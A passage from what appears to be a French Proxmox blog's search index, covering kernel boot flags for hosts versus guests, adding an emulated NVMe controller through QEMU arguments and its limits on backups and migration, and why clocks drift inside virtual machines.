softlockup_panic=0 non plus — cela arrête la panique, pas les messages.\nLes boutons ciblés sont :\nwatchdog_thresh=30 # hard 30s, soft 60s — scale to taste nowatchdog # honest single flag: disables both detectors sysctl -w kernel.soft_watchdog=0 # runtime, keeps hard-lockup detection Il y a une raison distincte et meilleure de désactiver le détecteur de hard lockup sur un hôte chargé, qui n\u0026rsquo;a rien à voir avec le bruit : il consomme un compteur de performance matériel par CPU. C\u0026rsquo;est pourquoi le paramètre accepte rNNN pour configurer un événement perf brut. Si vous faites du profilage basé sur le PMU, ou faites tourner une machine délibérément sur-provisionnée où vous avez déjà accepté la variance de latence comme le prix de la densité, rendre ce compteur est un compromis raisonnable — et les petits blocages auxquels vous avez consciemment souscrit ne sont pas des incidents.\nFaites juste le choix pour cette raison-là plutôt que pour la raison du bruit, parce qu\u0026rsquo;une seule des deux est vraie.\nconsoleblank=0 ne fait rien. Le noyau documente le délai d\u0026rsquo;extinction de la console comme « A value of 0 disables the blank timer. Defaults to 0. » Il est déjà coupé. Inoffensif, mais c\u0026rsquo;est le deuxième paramètre en circulation courante sans effet, et le traîner fait paraître une ligne réfléchie quand elle est copiée.\nRéférence rapide : où va chaque drapeau Drapeau Hôte Invité Notes iommu=pt oui non L\u0026rsquo;hôte possède l\u0026rsquo;IOMMU. Ne vaut dans un invité que si vous faites du passthrough imbriqué avec une vIOMMU amd_iommu=pgtbl_v2 oui non Domaines DMA-API de l\u0026rsquo;hôte. Vérifiez que vous avez eu v2 et non le repli v1 amd_iommu=on — — Pas une option valide. Le noyau journalise « Unknown option - \u0026lsquo;on\u0026rsquo; » pcie_acs_override=… oui non Correctif Proxmox, topologie hôte seulement. Affaiblit l\u0026rsquo;isolation par conception pcie_aspm=off oui non Il n\u0026rsquo;y a pas de vrais liens PCIe dans un invité ; l\u0026rsquo;hôte possède le lien physique pci=pcie_bus_perf oui pas de façon fiable L\u0026rsquo;hôte fixe le MPS sur le fil. Utilisez plutôt pcie_bus_safe si des périphériques arrivent par USB4 processor.max_cstate=1 oui non Les vrais états d\u0026rsquo;inactivité sont ceux de l\u0026rsquo;hôte. Ajoutez intel_idle.max_cstate=1 sur Intel amd_pstate=disable oui non Les invités ne contrôlent pas la fréquence du CPU cpuidle.off=1 avec précaution oui Gratuit dans un invité. Sur l\u0026rsquo;hôte il coûte de la marge de boost et chevauche max_cstate nmi_watchdog=0 au cas par cas oui Juste dans un invité. Sur l\u0026rsquo;hôte, faites-le pour le compteur PMU, pas pour le bruit softlockup_panic=0 non oui Les blocages d\u0026rsquo;invité viennent souvent de l\u0026rsquo;ordonnanceur de l\u0026rsquo;hôte. D\u0026rsquo;ordinaire déjà le défaut consoleblank=0 — — Sans effet. Le défaut du noyau est déjà 0 mitigations=off les deux les deux Valide de part et d\u0026rsquo;autre, calcul de risque différent : fuites invité-vers-hôte sur l\u0026rsquo;hôte, isolation de processus dans l\u0026rsquo;invité default_hugepagesz + hugepages= les deux les deux Hôte : sous-tend la mémoire de la VM. Invité : une charge dans la VM qui les veut. Buts différents, mêmes drapeaux watchdog_thresh= / nowatchdog les deux les deux Hôte : faire taire des blocages que vous avez acceptés. Invité : le détecteur n\u0026rsquo;a jamais été digne de confiance Trois vont vraiment des deux côtés, et il vaut d\u0026rsquo;être précis que « les deux » ne veut pas dire « pour la même raison » :\nmitigations=off sur l\u0026rsquo;hôte concerne la fuite invité-vers-hôte et invité-vers-invité. Dans un invité, il concerne l\u0026rsquo;isolation de processus au sein de cette VM. Vous pouvez raisonnablement le désactiver à un endroit et pas à l\u0026rsquo;autre. Les hugepages sur l\u0026rsquo;hôte sous-tendent la RAM de l\u0026rsquo;invité ; dans un invité, elles sous-tendent une application. Les réserver deux fois pour la même mémoire est du gaspillage, donc décidez quelle couche les veut. Le réglage du watchdog est une décision de bruit sur l\u0026rsquo;hôte et une décision de justesse dans l\u0026rsquo;invité. Tout le reste est d\u0026rsquo;un côté ou de l\u0026rsquo;autre, et deux d\u0026rsquo;entre eux ne sont pas des choix du tout.\nLes deux lignes Hôte, sur une machine AMD faisant du passthrough, mono-locataire :\nGRUB_CMDLINE_LINUX_DEFAULT=\u0026#34;quiet amd_iommu=pgtbl_v2 iommu=pt pcie_acs_override=downstream,multifunction pcie_aspm=off pci=pcie_bus_perf default_hugepagesz=1G hugepages=64 processor.max_cstate=1 amd_pstate=disable mitigations=off\u0026#34; Échangez pci=pcie_bus_perf contre pcie_bus_safe si quoi que ce soit arrive par USB4. Enlevez mitigations=off si les invités ne sont pas tous les vôtres. Sur Intel, intel_iommu=on remplace les drapeaux AMD et intel_idle.max_cstate=1 rejoint le plafond de C-state.\nInvité Linux :\nGRUB_CMDLINE_LINUX_DEFAULT=\u0026#34;quiet nmi_watchdog=0 softlockup_panic=0 cpuidle.off=1\u0026#34; Et laissez kvm-clock tranquille dans l\u0026rsquo;invité — ne forcez pas tsc ni hpet. L\u0026rsquo;horloge paravirtuelle existe précisément parce que les compteurs ne sont pas à vous. C\u0026rsquo;est tout l\u0026rsquo;argument de l\u0026rsquo;article sur la mesure du temps en VM.\nCe qu\u0026rsquo;il faut supprimer Si vous avez hérité d\u0026rsquo;une ligne d\u0026rsquo;un billet de forum, ces deux-là sont les premières choses à retirer, parce qu\u0026rsquo;elles ne vous coûtent rien et prouvent que la ligne n\u0026rsquo;a jamais été testée :\namd_iommu=on — pas une option valide ; le noyau journalise « Unknown option - \u0026lsquo;on\u0026rsquo; » et continue consoleblank=0 — déjà le défaut Et vérifiez le reste contre /proc/cmdline après un redémarrage. Chaque drapeau de cette ligne devrait être un dont vous pouvez nommer la raison.\nSi vous ne pouvez pas dire ce que fait un drapeau, ce n\u0026rsquo;est pas du réglage. C\u0026rsquo;est de la superstition. Et il sera copié dans le prochain montage par quelqu\u0026rsquo;un qui vous fait confiance.\nRéférences Linux kernel — the kernel\u0026rsquo;s command-line parameters — mitigations=, default_hugepagesz=, hugepages=, watchdog_thresh=, nowatchdog, consoleblank=, processor.max_cstate=, amd_pstate=, amd_iommu= et les politiques pci=pcie_bus_* Linux kernel source — drivers/iommu/amd/init.c — parse_amd_iommu_options(), et la vérification de capacité de table de pages v2 qui retombe sur v1 Linux kernel source — arch/x86/kernel/pci-dma.c — iommu=pt appelant iommu_set_default_passthrough() Linux kernel — Thunderbolt — les niveaux de sécurité, et les périphériques connectés comme maîtres DMA Proxmox VE — System Administration — proxmox-boot-tool status, l\u0026rsquo;édition de la ligne de commande noyau pour systemd-boot contre GRUB ","permalink":"https://blogs.damiendye.uk/fr/proxmox/kernel-boot-flags-host-guest/","summary":"La plupart des lignes de réglage Proxmox trouvées en ligne sont un seul bloc de drapeaux noyau. La moitié va sur l\u0026rsquo;hyperviseur, la moitié va dans l\u0026rsquo;invité, deux des plus populaires ne font rien du tout, et quelques-uns changent de sens selon le côté de la frontière où ils atterrissent.","title":"Deux lignes de démarrage — quels drapeaux noyau vont sur un hôte Proxmox, et lesquels vont dans l'invité"},{"content":"Pourquoi vous en voudriez un QEMU sait émuler un vrai contrôleur NVMe — pas un périphérique paravirtuel qui a besoin d\u0026rsquo;un pilote que vous fournissez, mais un contrôleur NVMe PCIe qu\u0026rsquo;un invité reconnaît comme un SSD normal et pilote avec la prise en charge NVMe qu\u0026rsquo;il a déjà.\nC\u0026rsquo;est là tout l\u0026rsquo;attrait, et il vaut plus qu\u0026rsquo;il n\u0026rsquo;en a l\u0026rsquo;air.\nLinux a un pilote nvme intégré depuis des années. Windows livre stornvme depuis Windows 8.1 et Server 2012 R2. Un invité démarre donc, énumère un contrôleur NVMe PCIe, charge son propre pilote et trouve un disque. Pas d\u0026rsquo;ISO VirtIO, pas d\u0026rsquo;injection de pilote au moment de l\u0026rsquo;installation, pas d\u0026rsquo;écran « aucun disque trouvé » à mi-chemin d\u0026rsquo;un installeur Windows.\nQuiconque est resté à regarder cet écran, l\u0026rsquo;ISO VirtIO monté et l\u0026rsquo;installeur persistant à dire qu\u0026rsquo;il n\u0026rsquo;y a pas de disque, en verra l\u0026rsquo;attrait tout de suite.\nLa deuxième raison est qu\u0026rsquo;il se comporte comme du NVMe jusqu\u0026rsquo;en haut. nvme-cli fonctionne. Les namespaces sont réels. Les formats LBA, les octets de métadonnées et les informations de protection sont tous configurables. Ce qui en fait un très bon endroit pour s\u0026rsquo;exercer aux opérations que vous ne devriez pas exercer sur du matériel qui détient des données.\nComment en ajouter un Proxmox n\u0026rsquo;a ni case à cocher ni clé de configuration pour cela dans l\u0026rsquo;interface. C\u0026rsquo;est un périphérique QEMU brut, il va donc dans args: dans /etc/pve/qemu-server/\u0026lt;vmid\u0026gt;.conf.\nLa documentation QEMU donne la paire minimale : un disque d\u0026rsquo;appui sans interface, et le contrôleur qui le consomme. Édité directement dans /etc/pve/qemu-server/\u0026lt;vmid\u0026gt;.conf, sans guillemets :\nargs: -drive file=/var/lib/vz/images/100/nvm.img,if=none,id=nvmidentifier -device nvme,serial=LAB-NVME-01,drive=nvmidentifier if=none compte : il dit à QEMU de ne pas rattacher le disque à un contrôleur par défaut, parce que la ligne -device nvme va le réclamer. Le id= du disque et le drive= du périphérique doivent correspondre. C\u0026rsquo;est cet appariement qui joint les deux moitiés.\nLe serial= est obligatoire ; QEMU refuse de démarrer la VM sans lui. Choisissez quelque chose que vous reconnaîtrez, car c\u0026rsquo;est exactement ce que l\u0026rsquo;invité rapporte dans nvme list et smartctl, et « lequel de ces quatre disques virtuels identiques est lequel » est une question que vous finirez par poser.\nLes guillemets : la partie qui attrape tout le monde Faut-il mettre cette chaîne entre guillemets ? Cela dépend de l\u0026rsquo;endroit où vous la tapez, et se tromper de sens est la cause la plus courante d\u0026rsquo;un échec au premier essai.\nProxmox stocke la valeur args: et la découpe plus tard avec Text::ParseWords::shellwords. Donc dans le fichier de configuration, les guillemets sont honorés et retirés. Une chaîne entièrement entre guillemets devient un seul argument :\n# WRONG in the config file — collapses to one argv element QEMU cannot parse args: \u0026#34;-drive file=…,if=none,id=nvmidentifier -device nvme,serial=…,drive=nvmidentifier\u0026#34; Passée par shellwords, elle donne exactement un élément. Sans guillemets, la même ligne donne les quatre dont QEMU a réellement besoin : -drive, son bloc de paramètres, -device, son bloc de paramètres.\nSur la ligne de commande c\u0026rsquo;est l\u0026rsquo;inverse, parce que là vous mettez des guillemets pour votre shell, pas pour Proxmox. Ici les guillemets sont requis, et ce qui est stocké dans la configuration est la valeur sans guillemets :\nqm set 100 --args \u0026#34;-drive file=/var/lib/vz/images/100/nvm.img,if=none,id=nvmidentifier -device nvme,serial=LAB-NVME-01,drive=nvmidentifier\u0026#34; Les deux sont corrects. Ils ne sont simplement pas interchangeables. Si vous construisez la ligne avec qm set, vérifiez le résultat avec qm config 100 ensuite et vous la verrez stockée à nu. C\u0026rsquo;est la forme que veut le fichier de configuration.\nCréez d\u0026rsquo;abord l\u0026rsquo;image d\u0026rsquo;appui si elle n\u0026rsquo;existe pas :\nqemu-img create -f raw /var/lib/vz/images/100/nvm.img 32G Plus d\u0026rsquo;un namespace Pour tout ce qui va au-delà d\u0026rsquo;un seul disque, séparez le contrôleur de ses namespaces :\n-device nvme,id=nvme-ctrl-0,serial=deadbeef -drive file=nvm-1.img,if=none,id=nvm-1 -device nvme-ns,drive=nvm-1 Les identifiants de namespace sont attribués à partir de 1 automatiquement. C\u0026rsquo;est la configuration qui rend le périphérique vraiment utile pour apprendre, parce que la gestion des namespaces est la partie de NVMe que la plupart des gens ne touchent jamais.\nUn namespace virtuel en 4Kn Le namespace prend les propriétés habituelles de taille de bloc, et QEMU en dérive directement la taille de donnée LBA. hw/nvme/ns.c calcule l\u0026rsquo;exposant de format comme ds = 31 - clz32(ns-\u0026gt;blkconf.logical_block_size). Cela vous donne donc un namespace 4K natif en bonne et due forme :\n-device nvme-ns,drive=nvm-1,logical_block_size=4096,physical_block_size=4096 Le périphérique de namespace accepte aussi ms pour les octets de métadonnées par LBA, mset pour les LBA étendus, et pi et pif pour le type d\u0026rsquo;informations de protection et le format de garde.\nC\u0026rsquo;est un laboratoire complet pour tout ce dont parle l\u0026rsquo;article sur le 4Kn et le 512e — blocs logiques de 512 octets contre 4096, formats porteurs de métadonnées, T10-PI — sur un périphérique que vous pouvez détruire aussi souvent que vous voulez.\nVérifier que c\u0026rsquo;est bien arrivé Depuis l\u0026rsquo;intérieur de l\u0026rsquo;invité :\nlsblk -o NAME,MODEL,SIZE,LOG-SEC,PHY-SEC nvme list nvme id-ns -H /dev/nvme0n1 | grep -i \u0026#34;lbaf\\|data size\u0026#34; Vous devriez voir un vrai namespace NVMe, avec les tailles de bloc que vous avez demandées.\nCe que vous abandonnez Trois choses, et les deux premières ne sont pas des compromis de performance. Ce sont des retraits de capacité. Connaissez-les avant de mettre quoi que ce soit sur le périphérique.\nCe que Proxmox gère, et ce hors de quoi un périphérique rattaché par args se trouve Dans la configuration de la VM, comme disque scsi0: local-zfs:vm-100-disk-0,iothread=1 Proxmox possède le volume et sait qu'il existe Inclus dans les sauvegardes vzdump / PBS oui Instantanés PVE oui Migration à chaud oui Redimensionner et Déplacer dans l'interface oui Compté dans la vue de stockage oui Rattaché par args : -device nvme,drive=nvm1,serial=… un périphérique QEMU brut — PVE n'en sait rien Inclus dans les sauvegardes non Instantanés PVE non Migration à chaud non Redimensionner et Déplacer non Compté dans la vue de stockage non Un seul de ces « non » s'annonce. La migration à chaud échoue avec une erreur, parce que QEMU marque le périphérique non migrable. La sauvegarde réussit simplement sans le disque dedans — ce qui est pourquoi cela a sa place dans votre runbook, pas seulement dans votre mémoire. Proxmox gère ce qui figure dans la configuration de la VM comme un disque. Un contrôleur rattaché par args est en dehors de cela, donc chaque fonction bâtie sur la couche de stockage ne s\u0026rsquo;y applique tout simplement pas. 1. La migration à chaud est coupée Ce n\u0026rsquo;est pas une limite de Proxmox ni un oubli. QEMU déclare le périphérique non migrable dans le modèle de périphérique lui-même. Extrait de hw/nvme/ctrl.c dans QEMU 10.2 :\nstatic const VMStateDescription nvme_vmstate = { .name = \u0026#34;nvme\u0026#34;, .unmigratable = 1, }; Trois lignes, et celle du milieu est toute l\u0026rsquo;histoire. Le contrôleur n\u0026rsquo;a pas d\u0026rsquo;état de migration, donc QEMU refuse la migration plutôt que de la tenter. C\u0026rsquo;est le bon échec. Vous obtenez une erreur, pas un invité qui reprend sur un autre nœud avec un disque désorienté.\nIl y a une seconde raison, indépendante, pour laquelle cela ne peut pas marcher : Proxmox ne sait pas que le disque existe. Même si QEMU pouvait déplacer l\u0026rsquo;état du périphérique, rien dans la logique de migration de PVE n\u0026rsquo;organiserait la disponibilité du volume d\u0026rsquo;appui sur la cible.\nÀ surveiller toutefois : la branche de développement de QEMU a remplacé le drapeau global par une fonction nvme_set_migration_blockers() qui autorise la migration et ne la bloque que pour certaines fonctions. Plus d\u0026rsquo;un namespace, par exemple, où le commentaire note « we don\u0026rsquo;t handle this in migration code yet ». Cela n\u0026rsquo;est apparu dans aucune version jusqu\u0026rsquo;à 10.2 comprise, donc cela ne vous aide pas aujourd\u0026rsquo;hui, mais cette restriction paraît en passe de s\u0026rsquo;assouplir. Vérifiez votre propre version de QEMU plutôt que de vous fier à un article.\n2. Les sauvegardes Proxmox ne le verront pas vzdump et Proxmox Backup Server sauvegardent les volumes qui apparaissent dans la configuration de la VM comme disques — scsi0, virtio0, et ainsi de suite. Un disque rattaché par args: n\u0026rsquo;en est pas un. C\u0026rsquo;est un périphérique QEMU brut dont PVE ne sait rien.\nLa sauvegarde tourne donc, rapporte un succès, et ne contient pas le périphérique.\nCe mode d\u0026rsquo;échec est pire qu\u0026rsquo;une erreur, parce que rien ne vous prévient. La même chose vaut partout : pas d\u0026rsquo;instantanés PVE, pas de redimensionnement de disque depuis l\u0026rsquo;interface, pas de Move Disk, pas de comptabilité dans la vue de stockage. Si vous avez créé le volume par PVE puis l\u0026rsquo;avez détaché, PVE peut ne pas le nettoyer non plus. Un orphelin qui attend de désorienter quelqu\u0026rsquo;un plus tard.\nSi des données vont vivre sur l\u0026rsquo;un de ces périphériques, sauvegardez-les depuis l\u0026rsquo;intérieur de l\u0026rsquo;invité, et notez quelque part que l\u0026rsquo;hyperviseur ne les couvre pas.\n3. Il n\u0026rsquo;est pas plus rapide que VirtIO SCSI Celui-là surprend, parce que « NVMe » se lit comme une fonction de performance. Ici, il n\u0026rsquo;en est pas une.\nVirtIO SCSI et VirtIO block sont paravirtuels : le pilote de l\u0026rsquo;invité et l\u0026rsquo;hyperviseur partagent un tampon en anneau conçu exactement pour ce travail, et l\u0026rsquo;invité sait qu\u0026rsquo;il parle à un hyperviseur.\nLe contrôleur NVMe émulé est l\u0026rsquo;inverse par conception. Il présente de vrais registres NVMe, donc l\u0026rsquo;invité le programme comme si c\u0026rsquo;était du matériel. Chaque écriture de sonnette (doorbell) est un accès MMIO qui piège dans l\u0026rsquo;hyperviseur. Correct, et plus coûteux par IO que de poser un descripteur sur un anneau.\nUn anneau partagé contre des registres émulés invité │ hyperviseur VirtIO SCSI — paravirtuel pilote invité sait que c'est une VM anneau partagé les deux bouts le comprennent couche bloc hôte 1 notif. Un descripteur va sur l'anneau et l'hôte est notifié. L'anneau chevauche la frontière exprès. NVMe émulé — vrais registres pilote invité se croit du matériel registres NVMe sonnettes, files, MMIO couche bloc hôte chaque écriture de sonnette piège piège + émule, par IO L'invité fait exactement ce qu'il ferait à un contrôleur physique, ce qui est l'intérêt — son propre pilote marche sans modif. C'est aussi pourquoi c'est une fonction de compatibilité, pas de performance. Le regroupement d'interruptions est non pris en charge et coupé par défaut : comportement matériel exact, au prix d' émuler le matériel. Le chemin paravirtuel est un anneau que l\u0026rsquo;invité et l\u0026rsquo;hôte comprennent tous deux. Le chemin émulé fait piloter des registres à l\u0026rsquo;invité, et chaque écriture de sonnette est un piège — comportement matériel exact, au coût de l\u0026rsquo;émulation de matériel. La documentation de QEMU elle-même est franche sur les aspérités du périphérique aussi : le regroupement d\u0026rsquo;interruptions « is not supported and is disabled by default », et les chiffres de comptabilité dans la page de journal SMART/Health « are reset when the device is power cycled ».\nRien de cela ne le rend lent en termes absolus. Il est parfaitement utilisable. Cela veut juste dire que vous ne devriez jamais le choisir en espérant plus de débit que ce que VirtIO SCSI vous donne. Choisissez-le pour le pilote, ou pour la sémantique NVMe.\nOù il gagne vraiment sa place Installer un invité sans support VirtIO. Un installeur Windows qui ne voit pas de disque VirtIO SCSI en verra un NVMe, parce que le pilote est déjà dans l\u0026rsquo;image. Installez dessus, puis décidez de basculer ou non vers VirtIO ensuite. Appareils et images que vous ne contrôlez pas. Tout ce qui est livré comme image figée dépourvue de pilotes VirtIO, et que vous préféreriez ne pas reconstruire. Apprentissage et travail de laboratoire. nvme format --lbaf, création et rattachement de namespaces, métadonnées et informations de protection — les opérations destructives et dépendantes du fabricant sur du vrai matériel sont gratuites ici. C\u0026rsquo;est la façon la plus sûre d\u0026rsquo;acquérir les automatismes avant de toucher un disque qui compte. Reproduire la topologie de quelqu\u0026rsquo;un d\u0026rsquo;autre. Si vous déboguez la disposition NVMe d\u0026rsquo;un client, un contrôleur émulé avec des namespaces et des tailles de bloc assortis est une boucle bien plus rapide que d\u0026rsquo;emprunter son matériel. Ce qu\u0026rsquo;il faut utiliser à la place en production Pour une VM qui a besoin de performance, des fonctions PVE et d\u0026rsquo;une vie tranquille : VirtIO SCSI single, avec iothread=1, discard=on et ssd=1, sur cache=none. C\u0026rsquo;est l\u0026rsquo;arrangement qui garde la migration à chaud, les sauvegardes, les instantanés et la vue de stockage tous en état de marche.\nPour une VM qui a besoin des derniers pourcents et peut abandonner ces fonctions exprès, la réponse n\u0026rsquo;est pas un périphérique NVMe émulé. C\u0026rsquo;est du vrai passthrough, avec ses propres compromis durs, traité dans l\u0026rsquo;article sur la taxe IOMMU.\nLe périphérique NVMe émulé n\u0026rsquo;est dans aucun des deux camps. À ce titre, c\u0026rsquo;est un outil de compatibilité et de laboratoire, et il excelle à cela.\nServez-vous-en pour le travail où il est bon et il ne vous lâchera pas. Demandez-lui d\u0026rsquo;être une fonction de performance et il vous lâchera très vite.\nRéférences QEMU — NVMe Emulation — la syntaxe -drive/-device nvme, nvme-ns pour plusieurs namespaces, les paramètres de namespace ms/mset/pi/pif, et les limites annoncées sur le regroupement d\u0026rsquo;interruptions et la comptabilité SMART QEMU source — hw/nvme/ctrl.c — la déclaration nvme_vmstate avec .unmigratable = 1 dans la version 10.2 QEMU source — hw/nvme/ns.c — le namespace dérivant son format LBA de logical_block_size Proxmox VE — Backup and Restore — ce que couvre vzdump, et les options de sauvegarde par volume qui existent pour les disques que PVE gère Proxmox VE — Qemu/KVM Virtual Machines — VirtIO SCSI, iothread, discard et les options de disque prises en charge ","permalink":"https://blogs.damiendye.uk/fr/proxmox/virtual-nvme-proxmox/","summary":"QEMU sait émuler un vrai contrôleur NVMe, si bien que l\u0026rsquo;invité se sert de son propre pilote NVMe intégré, sans aucun support VirtIO requis. Il est aussi non migrable par conception, invisible aux sauvegardes Proxmox, et pas plus rapide que VirtIO SCSI. Voici comment en ajouter un et quand cela en vaut la peine.","title":"Un périphérique NVMe virtuel dans Proxmox — et les trois choses que vous abandonnez"},{"content":"L\u0026rsquo;hypothèse que fait toute horloge L\u0026rsquo;horloge d\u0026rsquo;un ordinateur fonctionne en comptant quelque chose de régulier et en faisant confiance au fait que ça continue de compter. Un quartz oscille, un compteur s\u0026rsquo;incrémente, et le logiciel calcule combien de temps a passé.\nLa virtualisation casse la partie confiance.\nLa documentation KVM du noyau sur la mesure du temps résume le problème en une phrase : « the virtual operating system does not run with 100% usage of the CPU, despite the fact that it may very well make that assumption » — le système d\u0026rsquo;exploitation virtuel ne tourne pas avec 100 % du CPU, alors qu\u0026rsquo;il peut très bien le supposer. Tout ce qui suit découle de là.\nVotre vCPU ne tourne pas en permanence Un vCPU est un thread sur l\u0026rsquo;hôte. Il tourne quand l\u0026rsquo;ordonnanceur de l\u0026rsquo;hôte le décide.\nQuand il ne tourne pas, l\u0026rsquo;invité n\u0026rsquo;est pas simplement inactif — il est absent. Il ne peut pas compter, il ne peut pas traiter une interruption de timer, et il n\u0026rsquo;a aucun moyen de savoir combien de temps il est resté parti. L\u0026rsquo;hôte comptabilise ça comme du steal time, ce qui est le nom honnête pour « du temps qui vous est arrivé au lieu de vous servir ».\nLes interruptions de timer sont l\u0026rsquo;endroit où ça fait le plus mal. Un invité qui demande un tick périodique demande à l\u0026rsquo;hôte de délivrer des interruptions à cadence fixe, et l\u0026rsquo;hôte ne peut pas toujours s\u0026rsquo;exécuter. Encore la documentation du noyau : « the host virtualization engine may not be able to deliver the proper number of interrupts per second, and so guest time may fall behind » — le moteur de virtualisation de l\u0026rsquo;hôte peut ne pas délivrer le bon nombre d\u0026rsquo;interruptions par seconde, et l\u0026rsquo;heure de l\u0026rsquo;invité prend alors du retard.\nPourquoi les ticks de timer d'un invité cessent d'être régulièrement espacés Métal nu — le CPU est toujours à vous en marche ticks de timer, régulièrement espacés — les compter vous donne l'heure Dans une VM — le vCPU est un thread sur l'ordonnanceur de quelqu'un d'autre en marche déordonnancé déordonnancé les ticks dus pendant les trous arrivent en retard, par paquets, ou pas du tout L'invité ne voit pas les périodes en pointillés. De l'intérieur, l'horloge a simplement produit moins de ticks qu'elle n'aurait dû — d'où la doc du noyau qui dit que l'heure d'un invité « may fall behind » quand l'hôte ne peut pas délivrer les interruptions demandées. L'hôte appelle les régions en pointillés du steal time. L'invité ne les appelle rien du tout, parce qu'il n'était pas là. La vue propre de l\u0026rsquo;invité, c\u0026rsquo;est la rangée du bas : des ticks qui arrivent en retard, des ticks qui arrivent par paquets, et des trous qu\u0026rsquo;il ne sait pas expliquer. Il mesure autant l\u0026rsquo;ordonnanceur de l\u0026rsquo;hôte que le passage du temps. Plus la cadence de tick est élevée, pire c\u0026rsquo;est, et un hôte surengagé aggrave encore les choses. C\u0026rsquo;est aussi pour ça qu\u0026rsquo;un hôte chargé dégrade l\u0026rsquo;heure d\u0026rsquo;invités tranquilles. Ils font tous la queue pour les mêmes cœurs physiques.\nLes compteurs ne sont pas à vous non plus Si les ticks périodiques ne sont pas fiables, la réponse évidente est de lire un compteur à la place. Ça pose d\u0026rsquo;autres problèmes.\nLe TSC est le rapide, et la documentation du noyau est franche à son sujet : « The TSC is a CPU-local clock in most implementations… the TSCs of different CPUs may start at different times » — le TSC est une horloge locale au CPU dans la plupart des implémentations, et les TSC de CPU différents peuvent démarrer à des moments différents. Sa cadence peut varier avec les états d\u0026rsquo;énergie du processeur, et sur les pièces anciennes il s\u0026rsquo;arrête complètement quand le cœur se met au repos. Un vCPU qui migre d\u0026rsquo;un cœur physique à un autre peut donc lire un compteur en désaccord avec celui qu\u0026rsquo;il lisait une microseconde plus tôt.\nLes solutions de rechange sont mauvaises autrement. Le HPET, le PIT et le timer ACPI PM sont tous des équipements émulés, donc chaque lecture est un piège vers l\u0026rsquo;hyperviseur. Correct, et assez coûteux pour qu\u0026rsquo;un invité qui lit l\u0026rsquo;horloge dans une boucle serrée s\u0026rsquo;en aperçoive.\nC\u0026rsquo;est pour ça que les horloges paravirtuelles existent. Sur KVM, kvm-clock laisse l\u0026rsquo;hôte publier sa propre mesure du temps dans une structure partagée que l\u0026rsquo;invité lit directement : pas de piège, pas de comptage, aucune hypothèse sur le fait que l\u0026rsquo;invité était éveillé. C\u0026rsquo;est aussi pour ça qu\u0026rsquo;il faut laisser la clocksource de l\u0026rsquo;invité tranquille au lieu de forcer tsc ou hpet parce qu\u0026rsquo;un message de forum disait que c\u0026rsquo;était plus rapide.\nMigration, instantanés et suspension La migration à chaud, la restauration d\u0026rsquo;instantané et la suspension/reprise font toutes la même chose à l\u0026rsquo;horloge d\u0026rsquo;un invité : elles l\u0026rsquo;arrêtent, puis la redémarrent ailleurs.\nCe que l\u0026rsquo;invité voit n\u0026rsquo;est pas une dérive, c\u0026rsquo;est un saut. L\u0026rsquo;horloge valait une chose, et maintenant elle en vaut une autre, avec rien entre les deux. Migrer vers un hôte dont le TSC tourne à une autre fréquence aggrave le tout.\nLes sauts comptent parce que les logiciels qui corrigent les horloges sont faits pour corriger une dérive, pas une téléportation.\nCe n\u0026rsquo;est pas un problème propre à KVM Il est tentant de lire tout ce qui précède comme une faiblesse de KVM. Ce n\u0026rsquo;en est pas une.\nTous les hyperviseurs livrent une horloge paravirtuelle, parce que tous les hyperviseurs ont le même problème de structure : KVM a kvm-clock, Hyper-V a sa page TSC de référence, VMware a un compteur de performance factice plus une synchro par les Tools, Xen a sa pvclock. Ce sont quatre implémentations indépendantes d\u0026rsquo;un seul contournement.\nLa conclusion de la documentation du noyau elle-même, c\u0026rsquo;est qu\u0026rsquo;il n\u0026rsquo;existe pas de solution parfaite ici. Seulement des compromis entre précision, performance et complexité.\nSi vous préférez l\u0026rsquo;entendre d\u0026rsquo;un éditeur plutôt que de développeurs noyau, la limite de support de Microsoft pour l\u0026rsquo;heure de haute précision est remarquablement franche. Pour revendiquer une précision de 50 ms sur un système Windows virtualisé, l\u0026rsquo;une des exigences énoncées est que « the one-day average CPU utilization of the host must not exceed 90% » — l\u0026rsquo;utilisation CPU moyenne de l\u0026rsquo;hôte sur une journée ne doit pas dépasser 90 %. Pour 1 ms, l\u0026rsquo;hôte doit rester sous les 80 %.\nRelisez ça : la précision de l\u0026rsquo;horloge de l\u0026rsquo;invité est documentée comme conditionnée par la charge de l\u0026rsquo;hôte. Ce n\u0026rsquo;est pas une bizarrerie Windows, c\u0026rsquo;est la même physique que celle décrite par la doc du noyau, couchée par écrit comme une limite de support.\nLes trois couches de la mesure du temps chez l'invité, et celles qu'il possède vraiment Synchronisation à l'heure murale quelle heure il est vraiment NTP sur le réseau gigue, asymétrie, strate hypercall ptp_kvm demande directement à l'hôte Horloge paravirtuelle l'hôte publie sa propre mesure du temps Tous les hyperviseurs en livrent une, parce qu'ils ont tous ce problème : kvm-clock page TSC Hyper-V VMware pseudo-perf Xen pvclock quatre implémentations indépendantes d'un seul contournement Compteurs matériels pas à vous dans une VM TSC HPET PIT timer ACPI PM locaux au CPU, à cadence variable, ou émulés — chaque lecture est un piège vers l'hyperviseur L'invité possède son choix tout en haut. La couche du milieu, c'est l'hyperviseur qui lui prête une horloge qui, elle, tournait tout du long. Trois couches, et l\u0026rsquo;invité ne possède vraiment que celle du haut. L\u0026rsquo;horloge paravirtuelle de chaque hyperviseur existe pour contourner la même garantie manquante dans la couche du dessous. Pourquoi NTP dans l\u0026rsquo;invité est le mauvais outil NTP est bon à ce pour quoi il a été conçu : une machine avec un vrai oscillateur qui avance ou retarde un peu, corrigée en mesurant l\u0026rsquo;aller-retour vers un serveur distant et en tirant doucement l\u0026rsquo;horloge locale.\nChacune de ces hypothèses est fragile dans une VM.\nL\u0026rsquo;oscillateur local n\u0026rsquo;est pas légèrement faux, il est par intermittence absent. La mesure de l\u0026rsquo;aller-retour est prise par un processus qui peut être déordonnancé entre la lecture de l\u0026rsquo;horloge et l\u0026rsquo;envoi du paquet, ce qui corrompt la mesure elle-même. Et les corrections nécessaires après une migration sont des sauts, qu\u0026rsquo;un algorithme de correction progressive gère mal ou refuse tout court.\nchrony s\u0026rsquo;en sort bien mieux que ntpd ici. Il corrige plus vite, tolère les sauts, et il est honnête sur sa propre incertitude. Mais il résout quand même le mauvais problème : tirer l\u0026rsquo;heure à travers un réseau depuis un serveur de strate 2 à 20 ms de là, alors que l\u0026rsquo;heure correcte est posée dans l\u0026rsquo;hyperviseur, de l\u0026rsquo;autre côté d\u0026rsquo;une simple frontière mémoire.\nCe que vous obtenez en pratique, c\u0026rsquo;est un invité à peu près juste, occasionnellement à des dizaines ou des centaines de millisecondes, et jamais capable de vous dire lequel des deux.\nCe que le décalage casse vraiment Personne ne s\u0026rsquo;intéresse aux horloges pour 